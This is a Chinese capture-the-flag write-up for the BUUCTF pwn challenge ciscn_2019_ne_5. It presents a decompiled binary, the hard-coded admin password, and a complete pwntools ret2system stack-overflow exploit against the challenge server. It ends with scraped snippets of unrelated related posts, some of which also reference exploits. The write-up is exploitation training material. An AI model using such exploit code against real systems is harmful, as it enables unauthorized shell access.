[BUUCTF-pwn]——ciscn_2019_ne_5

  • 题目地址:https://buuoj.cn/challenges#ciscn_2019_ne_5
    checksec下

    在IDA中,竟然不给我反汇编,第一次碰到.

    查了下解决方法,在反汇编失败的地方,单独反汇编就好.
int __cdecl main(int argc, const char **argv, const char **envp)
{int v3; // [esp+0h] [ebp-100h]char src[4]; // [esp+4h] [ebp-FCh]char v5; // [esp+8h] [ebp-F8h]char s1[4]; // [esp+84h] [ebp-7Ch]char v7; // [esp+88h] [ebp-78h]char *v8; // [esp+E8h] [ebp-18h]int *v9; // [esp+ECh] [ebp-14h]int *v10; // [esp+F4h] [ebp-Ch]v10 = &argc;setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);fflush(stdout);*(_DWORD *)s1 = 48;memset(&v7, 0, 0x60u);*(_DWORD *)src = 48;memset(&v5, 0, 0x7Cu);puts("Welcome to use LFS.");printf("Please input admin password:");__isoc99_scanf();if ( strcmp(s1, "administrator") ){puts("Password Error!");exit(0);}puts("Welcome!");while ( 1 ){puts("Input your operation:");puts("1.Add a log.");puts("2.Display all logs.");puts("3.Print all logs.");printf("0.Exit\n:");v9 = &v3;v8 = "%d";__isoc99_scanf();switch ( v3 ){case 0:exit(0);return;case 1:v8 = src;AddLog();break;case 2:Display(src);break;case 3:Print();break;case 4:GetFlag(src);break;default:continue;}}
}




由于最开始的反汇编失败,反汇编的代码可能与实际有些许出入,应该就是反汇编失败的地方,__isoc99_scanf() 函数. 通过验证得到第一个是给s1赋值,第二个是给v3赋值;AddLog()函数里面的应该是给src赋值

思路也就出来了: 在1选项中AddLog()给src赋值, 然后,在4选项,通过strcpy给dest赋值,进行栈溢出的利用.
查看一下,有没有可以利用的字符串,毕竟已经找到了system函数

发现了 ‘sh’ 字符

exploit

from pwn import *
context.os='linux'
context.arch='i386'
context.log_level='debug'
p = remote("node3.buuoj.cn",25035)
sh_addr = 0x080482ea
system_addr = 0x080486B9
p.sendlineafter("Please input admin password:",'administrator')
p.sendlineafter("0.Exit\n:",'1')
payload = 'a'*(0x48+0x4)+p32(system_addr)+p32(sh_addr)p.sendlineafter("Please input new log info:",payload)
p.sendlineafter("0.Exit\n:",'4')p.interactive()

[BUUCTF-pwn]——ciscn_2019_ne_5相关推荐

  1. BUUCTF(pwn)ciscn_2019_ne_5

    先点进去 cat flag 说了 在 1 log中 from pwn import* r=remote('node3.buuoj.cn',26204) sys=0x80486b9 sh=0x08048 ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. pandas 中有关isin()函数的介绍,python中del解释
  2. 排序 (2)快速排序
  3. ROS单内网服务器源IP限速\单个下载链接限速
  4. golang语言编译的二进制可执行文件为什么比 C 语言大(转载)
  5. 三菱fx3uplc恢复出厂设置_三菱fx3uplc解密过程与步骤分享
  6. 基于epoll+threadpool的webServer分析与实现
  7. 操作目录下的文件或目录
  8. 外连接就是允许不满足条件的字段查询出来
  9. 前端开发:模块化 — 高效重构
  10. 好用!Visual Studio for mac(微软代码编辑器)中文版
  11. C/C++编程笔记:C语言编程知识要点总结!大一C语言知识点(全)
  12. 对称密钥算法与非对称密钥算法
  13. 毕业论文中word的使用1-代码域标公式
  14. 硕士论文查重原理是什么?
  15. 工具 | 2的次方对照表
  16. 360 极速模式 css,请问 chrome 和 360 极速模式 渲染页面不一样
  17. c语言中的圆方程,高中圆的方程练习题
  18. Multipath TCP(MPTCP) Congestion Control抛砖引玉
  19. 有可以提醒自己上下班打卡的手机便签软件吗?
  20. PANTONE 色号

热门文章

  1. ComboBox控件-转
  2. 【数据结构与算法】之深入解析“分割数组的最大值”的求解思路与算法示例
  3. 2015/Province_C_C++_C/8/饮料换购
  4. Python内存管理方式和垃圾回收算法解析
  5. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1079:计算分数加减表达式的值
  6. Counterfeit Dollar
  7. 大端和小端的判断及转换
  8. DSP F28335的SCI模块
  9. 【机器视觉】 break算子
  10. 【STM32】待机唤醒程序示例